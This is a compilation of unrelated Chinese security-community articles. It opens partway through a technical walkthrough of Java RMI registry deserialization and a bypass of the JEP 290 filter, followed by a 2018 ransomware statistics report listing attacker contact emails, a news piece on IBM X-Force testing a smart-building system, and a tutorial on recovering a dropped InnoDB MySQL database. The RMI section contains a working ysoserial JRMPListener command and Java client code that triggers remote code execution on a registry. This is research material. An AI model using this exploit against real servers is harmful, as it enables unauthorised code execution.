当通过bind方法让注册中心反序列化我们的恶意序列化对象时，即可触发命令执行，通过URLClassLoader的方式加载远程jar，并调用其方法，在方法内抛出错误，错误会传回客户端。
参考：<https://xz.aliyun.com/t/2223>
在做这个的时候遇到了一点问题，python自启的服务器不知道为什么没法成功被加载，只能用vps，第二个问题就是java版本的问题，如果服务器的jdk版本太高，编译的jar时用的jdk版本太低，就无法兼容，会报出一个java.lang.UnsupportedClassVersionError的错误。
# 针对RMI反序列化JDK做的一些调整
## bind && unbind && rebind
前面说了，在低版本JDK中，是可以注册中心和服务端不在一台服务器上的。
在后边修了第一次，在RegistryImpl#bind中添加了一个checkAccess方法，来检验你的来源是否为localhost。
此时我们虽然不能在注册中心注册服务，然而还是可以成功反序列化。这是因为注册中心在调用RegistryImpl#bind方法前就已经将我们传来的数据反序列化了。
而在JDK8u141后，又修了一次，这次彻底解决掉在bind时反序列化的问题。
## JEP 290 & 绕过JEP290进行攻击
### 什么是JEP290
JEP290是Java为了应对反序列化而设置的一种过滤器，理想状态是让开发者只反序列化其想反序列化的类，这样我们使用类似CC这样的，就会因为无法反序列化Tranformer、HashMap等，从而没法触发漏洞。
JEP290中对RMI设置了默认的过滤器（sun.rmi.registry.RegistryImpl#registryFilter）：
private static Status registryFilter(FilterInfo var0) {
if (registryFilter != null) {
Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}
if (var0.depth() > (long)REGISTRY_MAX_DEPTH) {
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 == null) {
return Status.UNDECIDED;
} else {
if (var2.isArray()) {
if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)REGISTRY_MAX_ARRAY_SIZE) {
return Status.REJECTED;
}
do {
var2 = var2.getComponentType();
} while(var2.isArray());
}
if (var2.isPrimitive()) {
return Status.ALLOWED;
} else {
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
}
}
}
}
从代码中可以发现，这个过滤器设置了白名单，他会判断你要反序列化的类（或者反序列化类的父类）是否在以下列表中（仅用于RmiRegistry）：
String.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class
如果不在，则会标记为REJECTED，此时不会反序列化成功，反之则标记为ALLOWED，此时则可以反序列化成功。
JEP290本身是JDK9的产物，但是Oracle官方做了向下移植的处理，把JEP290的机制移植到了以下三个版本以及其修复后的版本中：
* Java? SE Development Kit 8, Update 121 (JDK 8u121)
* Java? SE Development Kit 7, Update 131 (JDK 7u131)
* Java? SE Development Kit 6, Update 141 (JDK 6u141)
参考：[JEP 290: Filter Incoming Serialization
Data](https://openjdk.java.net/jeps/290)
### 调用栈
registryFilter:427, RegistryImpl (sun.rmi.registry)
checkInput:-1, 2059904228 (sun.rmi.registry.RegistryImpl$$Lambda$2)
filterCheck:1239, ObjectInputStream (java.io)
readProxyDesc:1813, ObjectInputStream (java.io)
readClassDesc:1748, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 714624149 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
这里我们要明白的是，JEP290是一种机制，并不是特意为RMI准备的，之是其默认对RMI设置了过滤器，所以才会对RMI的反序列化造成影响。
从上述调用栈中可以发现，实际上是在反序列化时，会调用到readObject，而JEP290的方式，是在readObject中新增了一个filter，在filter中进行过滤。
这里首先会判断有没有设置filter，如果有的话，则调用checkInput方法进行验证，如果验证不通过则直接另status为REJECTED，此时则无法正常进行反序列化。由于是内置在readObject里的，所以任何类反序列化时都会调用到这个检查。这也是为什么他会递归所有对象成员进行检查的原因。
接着我们需要找一下RMI中是如何设置filter的，这个点我找了好久，也是因为自己太不仔细的原因，JEP290是需要人工自己去设置的，而我找在哪设置filter，就是想知道为什么其他地方的readObject不需要调用这个filter进行检查，也就是想搞明白我是在哪一次反序列化会调用到这个filter进行检查。
可以先看下网上说的：
这里说了给了两种方案来设置，第一种不是，那自然就是第二种，通过setObjectInputFilter来设置filter，我下载了jdk8u131中rt.jar包的内容，丢到jadx反编译，可以搜到这个关键字：
最后一行UnicastServerRef应该很熟悉，但是当时没记起来，导致卡了好半天...，跟入这个函数：
UnicastServerRef#unmarshalCustomCallData
在这里可以发现，他设置UnicastServerRef的filter变量作为objectInput的filter，接着可以找在哪设置了UnicastServerRef的filter变量：
在创建注册中心时，将前边说的registryFilter传入进去，而8u121之后的修复版本中，UnicastServerRef多了一个构造方法：
这个构造方法用于设置filter变量。
接着就是找unmarshalCustomCallData这个点在哪被调用了：
UnicastServerRef#olddispatch
在这里调用了unmarshalCustomCallData方法，为socket传来的inputStream设置了filter，当inputStream反序列化时，就会调用这个filter进行过滤。这里是客户端或服务端远程获取注册中心时，触发RegistryImpl_Skel的最后一步，下面会直接进入RegistryImpl_Skel#dispatch去反序列化对象：
在这里，会读取刚刚设置过filter的inputStream，并反序列化，此时filter已经设置上了，所以这也是我们没有办法用之前的链直接打注册中心的原因。
对比一下7u80和8u131获取到的Registry有什么不同：
* 7u80
* 8u131
不难发现在8u131多了一个filter和几个无关变量，至此，反序列化时为什么会触发filter，在哪设置的filter都已经搞清楚了，接下来就是如何绕过了。
参考：[Java反序列化之readObject分析](https://blog.kaibro.tw/2020/02/23/Java反序列化之readObject分析/)、[Java
RMI反序列化知识详解](https://paper.seebug.org/1194/#unicastref)
### ByPass JEP290-RMI
#### 测试环境
* JDK 8u131
如果想要在RMI中Bypass JEP290的限制，思路很明确，我们需要从上面白名单的类或者他们的子类中寻找复写readObject利用点。
#### UnicastServerRef（JDK<=8u231）
我们通过getRegistry时获得的注册中心，其实就是一个封装了UnicastServerRef对象的对象：
当我们调用bind方法后，会通过UnicastRef对象中存储的信息与注册中心进行通信：
这里会通过ref与注册中心通信，并将绑定的对象名称以及要绑定的远程对象发过去，注册中心在后续会对应进行反序列化，这个前面说过了，就不再重复了。
写上面这一段并不是想写如何攻击客户端，而是想说明，注册中心、 **客户端两者之间** 的通信是依赖于UnicastRef中的LiveRef的。
接着来看看yso中的JRMPClient：
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
这里返回了一个代理对象，上面用的这些类都在白名单里，当注册中心反序列化时，会调用到RemoteObjectInvacationHandler父类RemoteObject的readObject方法（因为RemoteObjectInvacationHandler没有readObject方法），在readObject里的最后一行会调用ref.readExternal方法，并将ObjectInputStream传进去：
ref.readExternal(in);
UnicastRef#readExternal
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
this.ref = LiveRef.read(var1, false);
}
LiveRef#read：
这里在上边会把LiveRef对象还原，LiveRef对象中存了我们序列化进去的ip和端口，之后会调用DGCClient#registerRefs，但是不是在这里调用，是在外边经过一系列转换之后才会调到。
var这里转回来的是一个DGCClient对象，里边同样封装了我们的端口信息，重点关注registerRefs：
这里会调到DGCClient#makeDirtyCall，并把var2传进去，var2里封装了我们的endpoint信息，继续跟：
这里会进到dirty方法中，var4是我们传进去的ObjID对象，var2不知道是什么，var1是一个HashSet对象，里边存了我们的Endpoint信息。
dirty函数应该很熟悉了：
看到这个函数的代码有木有感觉很熟悉，在客户端与服务端进行通信时，也会调用这么一个类似的方法，var6写入的两个Object是否就像是当时客户端调用服务端远程对象的方法时写入的方法名以及参数是一样的？
这里wirteObject后，会用invoke将数据发出去，接着看下边的代码：
这里从socket连接中先读取了输入，然后直接反序列化，此时的反序列化并没有设置filter，所以这里可以直接导致注册中心rce，只要我们可以伪造一个socket连接并不把我们恶意序列化的对象发过去。
yso已经替我们做好了这一切，我们可以直接使用命令起一个恶意的服务端：
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "COMMAND"
这里的cc要用对应版本可以用的，这里指的对应版本是jdk8，cc1在jdk8就不可用，所以要选其他链，当我们起了恶意的服务端后，用客户端发起一个bind请求，即可触发反序列化，从而触发RCE：
对应的客户端代码：
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class Client {
public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
Registry reg = LocateRegistry.getRegistry("localhost",8888);
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1099);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(Client.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
reg.bind("test12",proxy);
}
}
这里用bind方法只是举个例子，任意能让客户端反序列化我们传过去的数据的方法都是ok的，比如lookup、unbind、rebind等。
* * * | 社区文章 |
# 2018年10月国内勒索病毒疫情分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
随着勒索病毒的广泛传播，给企业和个人的数据带来严重的威胁，360互联网安全中心针对勒索病毒进行了多方位的监控与防御。从本月的反馈数据来看，勒索病毒的传播量总体呈下降趋势，而由于系统存在漏洞导致被感染的用户占比，则在本月有所上涨。
## 感染数据分析
通过对本月勒索病毒的感染数据进行统计分析，10月相对于9月反馈数量有小幅度下降。10月份整体反馈下降的主要原因是受弱口令爆破影响被感染的系统数量减少，但针对存在此类风险的环境（例如开启远程桌面功能，使用共享文件夹，mssql数据库服务，Tomcat等），仍应重视弱口令攻击问题。
图1. 2018年反馈数量统计
通过对360防护数据中心监控的数据分析进行，在10月22号有一次小规模的勒索病毒爆发。此次小规模的爆发的主要是由GandCrab勒索病毒传播引起，最主要传播途径是口令爆破。
图2. 10月份勒索病毒感染趋势
分析10月份勒索病毒家族分布情况，GandCrab家族超越了之前占据榜首的Crysis家族和GlobeImposter家族，成为传播量最大的一个家族。分析了其部分原因：
1. GandCrab病毒在暗网中进行售卖，使用分成模式，购买该勒索病毒的群体比较多。
2. 该勒索病毒制造者，还创建维护了一个GandCrab病毒传播者社区，招募病毒传播者，并提供技术支持。使用门槛上要比另外几大勒索病毒低。
3. GandCrab勒索病毒引发的新闻事件最近较多，影响范围扩大（例如本月被广泛播报的新闻——叙利亚一位父亲在twitter上发布帮助请求，自己已逝儿子留下的照片被GandCrab勒索病毒加密事件），这也在一定范围内提升了其 “知名度”，而其中不乏有所图谋的不法分子。
图3. 10月勒索病毒反馈分布
被感染系统中，Windows7系统仍是占比最大。
图4. 10月被感染系统统计
通过对9月份和10月份被感染系统进行对比分析：发现在10月份中，被感染的服务器占比继续上升。近几个月，服务器的感染量占比逐月上升，不仅是因为服务器被攻击的价值更大，还因为服务器上部署的服务更多，暴露面更大，对服务器的攻击一直居高不下。
图5. 9月与10月被感染系统对比图
## 勒索病毒最新情报
如前文所述，本月Crysis家族和GlobeImposter家族的传播量在本月都有下降，但从使用的版本来看，两个家族都还在对病毒进行不断的更新，因此对于弱口令的防护仍旧需要提高重视。本月Crysis新增后缀XXXX和BETTA；GlobeImposter家族新增后缀Help4444和Crypted_bizarrio@pay4me_in。
家族 | Crysis家族 | GlobeImposter家族
---|---|---
后缀 | COMBO | Dragon4444
GAMMA | Snake4444
BIP | Horse4444
BGTX | Rooster4444
XXXX | Help4444
BETTA | ALCO
– | ROCK
– | [crypted_bizarrio@pay4me_in](mailto:crypted_bizarrio@pay4me_in)
– | ZYX
–
|
[{[email protected]}MG](mailto:%[email protected]%7DMG)
表1. Crysis家族，GlobeImposter家族本月使用后缀
在本月，通过RDP传播的GandCrab勒索病毒在10月22号达到了高峰，而利用漏洞进行传播的GandCrab勒索病毒则是在10月25号达到的最高峰。
图6. GandCrab勒索病毒家族本月传播趋势
在10月25日达到传播量顶峰的主要原因是该勒索病毒之前的版本已被成功破解，勒索病毒制造者也在这天发布了新版本的勒索病毒。感染之前版本GandCrab的用户可以通过“360解密大师”进行解密，支持包括GandCrab
V5.0.3在内的之前的所有版本。
图7. 解密被GandCrab加密的文件
在处理用户求助中，发现仍旧有用户是因为下载破解软件导致机器被勒索。在此再次提醒广大用户，如果下载的破解软件被杀毒软件提示病毒并查杀，一定不要冒险运行，其中很有可能含有病毒木马。下图就是GandCrab勒索病毒的下载页面，下载回来的程序会加密你的文件，且最新版本的GandCrab勒索病毒目前无法破解。
图8. GandCrab勒索病毒常见诱导下载页面
此外，根据360防护中心监控到的数据发现：Satan勒索病毒已更新到V4.2版本，在最新版本中新增加了利用CVE-2018-2894（WebLogic任意文件上传漏洞）进行传播。
图9. CVE-2018-2894漏洞利用
从数据上看，Satan是从本月10月15日开始爆发，并在10月27号当天传播量达到最高峰的。360安全研究人员对最新版本的Satan样本进行分析发现——该勒索病毒的加密手段可以被破解，并在10月22号发布了Satan
V4.2版本的解密工具。
图10. Satan勒索病毒传播趋势
本月我们还监控到了一款新的勒索病毒——sicck。该勒索病毒会向用户索要1个比特来解密文件，但它的勒索提示信息在生成上存在一定问题——只有在管理员权限下运行，才能成功生成勒索提示信息。
图11. sicck勒索病毒提示信息
在对sicck勒索病毒分析时发现，在加密用户系统内文件时需要跳过一些文件夹不进行加密，这其中包含360相关的文件夹，该勒索病毒很有可能是一个国产的勒索病毒。
图12. sicck勒索病毒分析
## 黑客信息
以下是10月份以来黑客在使用的勒索病毒联系邮箱
crypted_bizarrio@pay4me_in
|
[email protected]
|
[email protected]
---|---|---
[email protected]
|
crypted_marztoneb@tutanota_de
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
eight1.hundred
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
minotaur0428blaze.it
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
crypted_okumura@firemail
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
表2. 黑客邮箱
## 防护数据
从被攻击系统分布图看，被攻击的服务器系统版本中Windows server 2003占比最高,其次是Windows 2008，再是Windows
server 2012。建议用户不要在使用停止支持的操作系统，更新到新版操作系统，能够提供更好的安全保护。
图13. 10月被攻击系统分布
以下是根据10月份被攻击IP采样制作的被攻击地域分布图，和之前几个月采集到的进行对比，地区的排名和占比差别都不大。信息产业发达的地区仍是被攻击的主要对象。
图14. 10月被攻击地区分布图
通过10月份和9月份的弱口令攻击趋势对比可以发现，针对RDP进行攻击的量在上升：在9月份最高一天攻击次数为400多万次，在10月份最高一天为600多万近700万次。而针对mysql进行攻击量有明显降低：在9月份最高一天有近2000万次，在10月份最高的一天只有100多万次。
图15. 攻击类型趋势图
## 总结
针对服务器的勒索病毒攻击已经成为当下勒索病毒的一个主要方向，企业也需要将强自身的信息安全管理能力，尤其是弱口令，漏洞，文件共享和远程桌面的管理，以应对勒索病毒的威胁，再次我们给各位管理员一些建议：
* 多台机器，不要使用相同的账号和口令，口令要有足够的长度和复杂性，并定期更换登录口令；
* 重要资料应设置访问权限控制，并做好备份工作；
* 关闭非必要的服务与端口，定期检测系统和软件中的安全更新，及时打上补丁；
* 服务器应安装专业安全防护软件，定期检查服务器安全运行情况（包括账户情况，windows日志，安全软件日志），在发现异常后第一时间进行处理。 | 社区文章 |
# IBM X-Force发现：智能建筑面临多个IOT安全风险
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://www.techrepublic.com/article/ibm-x-force-finds-multiple-iot-security-risks-in-smart-buildings/>
译文仅供参考，具体内容表达以及含义原文为准。
近日，来自IBM
X-Force安全研究团队的研究人员对一幢写字楼的自动化控制系统进行了测试，发现其中存在很多安全问题。他们进行测试的着手点，就是该写字楼的一台存在漏洞的路由器。
据Gartner（一家进行信息技术研究和分析的公司）发布的数据显示：2015年，在全球智能住宅和智能建筑中所使用的物联网设备总数为4.95亿，占全球物联网设备总数（11亿）的45%。对于如此庞大的数量，安全专家表示了担心。他们表示，在这些设备建立的网络连接中，很多都是处在一定的安全风险中，给用户使用物联网带来了威胁。然而，接着就有一个好消息传来，来自IBM的X-Force安全研究小组已经决定，要找出这些安全隐患。
X-Force团队是成立于1998年。起初，该团队只有10名网络红客。而经过这些年的发展，如今，它已经发展成为了一个全球性的网络安全研究团队，致力于研究最新的网络安全趋势，并向IBM公司客户和社会大众提供最新的安全资讯。
IBM X-Force团队的负责人，Paul
Ionescu表示，很少有人会去关注在智能建筑和智能住宅中所使用的物联网连接设备的安全性问题。原因则是，在人们的观念中，这好像不属于传统网络安全的范畴。
在该团队发表的一篇研究论文中，他们对Paul
Ionescu的观点表示赞同。因为该团队对一幢装有自动化控制系统的智能建筑进行测试之后，发现其中确实存在着问题。同时在论文中，他们还写到：我们可以大胆地进行猜想：如果这栋智能建筑的自动化系统被黑客入侵，将会发生什么？
“如果我们对这些攻击置之不理，任其发展的话，那么这些攻击将会对设备造成巨大的影响，对于网络物理环境也是如此。比如：破坏Web服务器；还有即是，即使是在一个普通的办公大楼，黑客也可以通过攻击，进而控制管理数据中心运行温度的设备，关闭其冷却风扇，导致服务器过热而瘫痪等。”
除了会影响物理环境之外，这篇论文还暗示，黑客还会泄漏其物联网设备和相关网络连接的信息，并将其作为攻击网络基础设施的后门。
**X-Force正对BAS系统进行测试**
IBM
X-Force团队成员的初衷是对单一的设备进行测试，但随后他们意识到，这种做法不够全面，必须要对一个完整的系统进行测试。最好的测试对象就是一种叫做大楼自动化的系统（BAS：Building
Automation Systems）。现在很多公司的办公楼都装有这种系统。
论文中提到：“我们的研究人员已经对一栋商业办公楼中的，BAS控制的传感器和恒温器进行了评估（渗透测试）。”
BAS是通过一个远程中央服务器，控制几个建筑中系统的运行。下面A图就是该系统工作的原理图，包括一个远程中央服务器和两个单独的建筑（建筑1和建筑2）。
Figue A：
在B图中标出的每个站点/建筑，都通过同一个路由器连接到BAS中央服务器，进而连入互联网。一栋大楼的自动化控制器连接着路由器和各种传感器。这些传感器能够将位置信息和要对BAS中央服务器设置进行更改的请求，传递给BAS中央服务器。
Figue B：
**测试的结果**
没过多久，IBM X-Force团队就找到了一种进入大楼网络的方法。IBM X-Force安全分析师Chris
Poulin指出，我们正是通过攻击一个存在漏洞的路由器，才进入了其网络。
接下来，该测试团队还尝试着获取该路由器的共享密码（该密码是以明文的形式保存），之后拿到访问BAS的权限，并控制其的运行。在拿到密码之后，他们结合该共享密码和路由上的安全漏洞，拿到了本地BAS控制器的管理权限。
整个过程就像玩多米诺骨牌一样，当其中一个关键步骤实现（指拿到路由器密码），剩下的就很轻松了。该团队最终拿到了BAS中央服务器的管理权限，并能控制美国几个地方多栋建筑中的自动化控制器。
团队成员纷纷对遇到的安全问题感到惊讶，包括前面提到的共享密码，重要信息以明文形式保存，路由器长期存在漏洞以及BAS软件存在安全隐患等。
Poulin表示，至此，此次测试就结束了。因为他们已经拿到了足够的数据。随后，IBM
X-Force团队成员将此次测试的结果，交给了一些BAS运营商和物联网设备制造商。他接着补充说道：相关各方都应该立即行动起来，对漏洞进行修复。
**事后总结**
团队成员为BAS运营商和其他相关企业建立了一个维护列表。这对他们来说，将会非常有用。
1. 必须确保所有设备及时进行更新；
2. 如果没有任何的商业远程访问请求，就必须禁用BAS设备的远程访问功能；
3. 禁止长时间使用单一密码，也不能给无关人员共享该密码，禁止将密码以明文形式进行保存；
4. 必须使用带有安全认证的工程控制设备，来进行代码编写，执行shell指令；同时对密码进行加密；
5. SIEM（Security Incident and Event Management：安全事件和事件管理）系统可被用来扫描路由器，以及BAS系统之间的网络活动，同时要使用嵌入式设备来识别可疑网络活动。
**这并不是一次孤立的事件**
很不幸，现在，公众对智能建筑中存在的安全风险，可能还抱着一种无所谓的态度。2015年1月，在一项由 Facilities Management News
and Education报纸开展的调查中，公众对“下面哪个选项最好地表达了你对大楼自动户系统面所面临的网络安全威胁所持有的态度”的问题，给出了各自的答案：
1. 还没采取任何措施—35%
2. 了解过相关的信息—15%
3. 进行过网络安全评估—14%
4. 准备加强安全防护—7%
5. 目前已经完成相关保护措施—29%
这就是调查的结果。
我感到很遗憾，一旦黑客们看了这份调查结果，我想，他们又会开始行动了。 | 社区文章 |
# 【技术分享】使用Innodb存储引擎的mysql数据库恢复
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：**[ **维一零** ****](http://bobao.360.cn/member/contribute?uid=32687245)
**预估稿费：400RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**前言**
某天，在测试一张新数据表的字段时，由于在phpmyadmin不断地删除该数据表，导致一时不慎将整个数据库drop掉，当时立马就吓尿了，那是我们运营了一年的宝贵数据，突然就全没了，虽然还有两个月前的一次备份数据，但中间改动的很多新结构以及产生的新数据都没法恢复。情急之下，立刻关掉数据库服务器，在网上寻找各种不靠谱的硬盘数据恢复软件，试图通过恢复mysql相关的数据库文件来找回，但是都没有效果，只能找到一些数据表的结构文件（.frm），然而这些结构我其实都有备份，没什么卵用。由于之前网上看过通过mysql相关文件可以从不同机器恢复数据，坚信恢复数据是可能的，所以不断寻求方法。后来，先找了认识的一个研发同事帮忙，他告诉我他都是用的别人管理的数据库服务，会自动备份，不需要自己维护数据库，并且告诉我恢复不了；然后他又帮我找到了另一个DBA同事，来到了现场帮我看，看我没有开启mysql的binlog配置，又给了我一个结论：没办法恢复了！当时我就真慌了，于是带着压力和微弱的信念，最终找到了可行的恢复方案，特此记录。
这里事先说明一下，本人使用的mysql数据库是集成在xampp套件下的默认配置，并且我的数据库表都是使用的Innodb存储引擎（其他引擎有些好像还更好恢复），数据库的表结构也都事先有备份（没备份也有办法恢复，可以从.frm文件或者后面提到的项目工具提供的一些功能）。由于mysql配置中"innodb_file_per_table=OFF"，表示所有的数据库表都在同一个数据空间，存储在一个ibdata1文件中（在mysql数据根目录中），所以最终我只需要将该ibdata1文件保存好（尽可能不被多次覆盖，最好误删的第一时间就备份好），就可以使用下面的开源工具来提取数据，恢复误删数据库的所有数据。
**准备环境**
**获取源码**
新建一个项目目录undrop-for-innodb，进入后使用git命令获取源码（或者解压我附件打包的源码）：
git clone https://github.com/twindb/undrop-for-innodb.git
整个项目目录结构如下图所示：
**编译项目**
一条make命令直接编译，成功后会生成3个程序：
**导入测试数据**
进入测试数据库目录sakila，其中有该数据库的各种数据表结构，先解压数据备份文件：
tar -zxvf sakila-db.tar.gz
然后进入mysql，新建一个数据库sakila：
CREATE DATABASE IF NOT EXISTS sakila default charset utf8 COLLATE utf8_general_ci;
这里我们先导入一张表actor的结构，然后导入全部数据（由于缺乏其它表结构会报错，忽略，确保actor的数据导入成功即可）：
source ./actor.sql
source ./sakila-db/sakila-data.sql
确认测试数据导入成功：
接着，高潮来了，将整个数据库直接删掉：
drop database sakila;
傻了吧，这时如果我告诉你恢复不了了，你是不是要偷笑了（幸亏不是你的数据库）！别急，赶紧拷贝一份前面所说的数据空间文件ibdata1：
mkdir backup
cd backup/
sudo cp /var/lib/mysql/ibdata1 ./
sudo chmod +r ibdata1
OK，准备工作已经完成，下面就用编译的undrop项目工具，来进行数据恢复工作。
**数据恢复**
现在确认一下数据恢复的必要条件：一份ibdata1数据文件，一份要恢复的数据库的表结构（如本文以测试数据库sakila为例，恢复其中的actor表数据，需要actor表的结构，具体在actor.sql描述如下图；如果没有此文件可用其他方法得到表结构，如下文将提到的.frm文件恢复）。
**解析数据文件**
首先，由于mysql将Innodb驱动的数据使用B+tree索引在了数据空间文件ibdata1中，所以需要使用stream_parser工具进行解析：
./../stream_parser -f ./ibdata1
解析完成后，可以看到同目录下生成一个pages-ibdata1目录，其中包含两个子目录，一个是包含按索引排序的数据页目录，另一个是包含相关类型的数据目录：
我们下面将主要关注的是第一个子目录即索引好的数据页目录，因为我们要恢复的数据就在里面，其中第一个页文件（0000000000000001.page）里包含所有数据库的表信息和相关的表索引信息，类似一个数据字典，可以使用项目提供的一个脚本recover_dictionary.sh将其内容放到一个test数据库里详细的查看，这里就不做演示了。
**解析页文件**
既然第一个页文件包含所有数据库表的索引信息，我们就需要先解析它，以模拟mysql查询数据的过程，最终才能找到要恢复的数据。c_parser工具可以用来解析页文件，不过需要提供该页文件的一个内部结构（表结构）。好在，undrop项目已经帮我们准备好了一切，项目根目录下有个dictionary目录，里面就包含数据字典用到相关表结构，如用来解析第一个页文件的表结构在SYS_TABLES.sql文件如下：
于是，就可以开始恢复工作了：
./../c_parser -4Df pages-ibdata1/FIL_PAGE_INDEX/0000000000000001.page -t ./../dictionary/SYS_TABLES.sql | grep actor
该命令使用c_parser工具解析数据库表索引信息并过滤出我们想要恢复的actor表：
找到actor表后，得到该表的一个主索引值（如图所示为25），通过这个索引值，再到另外一张表去查询该actor表所有的索引信息，该表的结构在"dictionary/SYS_INDEXES.sql"文件中可以看到，而此表对应的数据页文件是第三个数据页0000000000000003.page，于是：
./../c_parser -4Df pages-ibdata1/FIL_PAGE_INDEX/0000000000000003.page -t ./../dictionary/SYS_INDEXES.sql | grep 25
同样能够解析出相关的索引数据：
这里到了关键的时候，上图找到了actor表的两个索引信息（消重后），分别是"PRIMARY"和"idx_actor_last_name"，分别对应于actor表结构的主键和索引键idx_actor_last_name，其对应在mysql存储中的索引值为54和55，此索引值编号对应的数据页文件中即存储了该索引的全部数据！所以解析的方法也差不多（有所差异，见如下命令），都需要输入一个参数即该数据表的结构以便能够正确解析出数据：
./../c_parser -5f pages-ibdata1/FIL_PAGE_INDEX/0000000000000054.page -t ./../sakila/actor.sql | more
此处我们选择的是主键索引对应的数据页文件进行解析（另外一个索引键应该也可以，只不过方法可能需要有所区别），终于顺利解析见到了激动人心的数据：
值得一提的是，如果所输入的表结构不正确（包括字段和索引，如果注释太长可以去掉否则可能报错），解析出来的数据就会出错，显示成错位的状况，这也是为什么我们需要事先拿到正确数据表结构的原因。最后，只需要将其转储到一个sql文件里就可以方便导入到数据库了：
./../c_parser -5f pages-ibdata1/FIL_PAGE_INDEX/0000000000000054.page -t ./../sakila/actor.sql > ./sakila_actor 2> ./sakila_actor.sql
此命令会在当前目录生成两个文件（分别是sakila_actor和sakila_actor.sql），其中sakila_actor.sql只是一个引导性文件，其内部调用命令语句“LOAD
DATA LOCAL INFILE”加载sakila_actor文件内的真实数据，并且忽略外键检查（“SET
FOREIGN_KEY_CHECKS=0”）。所以，导入到数据库之前，需要先根据数据表结构建好相应的数据表，再进行加载：
CREATE DATABASE IF NOT EXISTS sakila default charset utf8 COLLATE utf8_general_ci;
use sakila;
source ./../sakila/actor.sql
source ./sakila_actor.sql #可能出错，原因是sakila_actor.sql里sakila_actor的路径写成默认的，需要调整成当前路径
至此，查询一下该数据表，可以看到全部数据正常恢复，使用mysqldump程序可以将其备份成可移植的sql数据文件，恢复工作顺利完成！
**恢复数据表结构**
